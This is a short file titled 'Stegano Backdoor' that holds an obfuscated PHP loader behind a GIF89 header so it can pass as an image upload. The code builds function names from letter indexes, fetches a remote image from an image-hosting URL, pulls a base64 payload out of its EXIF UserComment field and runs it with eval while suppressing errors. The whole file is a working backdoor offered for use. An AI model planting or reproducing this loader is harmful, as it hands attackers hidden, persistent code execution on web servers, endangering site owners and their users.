Stegano Backdoor

GIF89;a<?php $t="https://i.ibb.co/37HQt4M/3.jpg";$e=@range("a","z");$c=$e[5].$e[8].$e[23].$e[4];$h=$e[17].$e[4].$e[0].$e[3];$a=$e[3].$e[0].$e[19].$e[0];$_a=@strrev($c)."_";$p=$_a.$h."_".$a;$r=$h."_".$_a.$a;$l=@strtoupper($e[20]).$e[18].$e[4].$e[17].strtoupper($e[2]);$l .= $e[14].$e[12].$e[12].$e[4].$e[13].$e[19];$x=$e[2].$e[14].$e[12].$e[15];$x .= $e[20].$e[19].$e[4].$e[3];$x=@strtoupper($x);$y="";@function_exists($p) && ($y=$p($t)) || ($y=$r($t));@empty($y) || @eval(base64_decode($y[$x][$l]));?>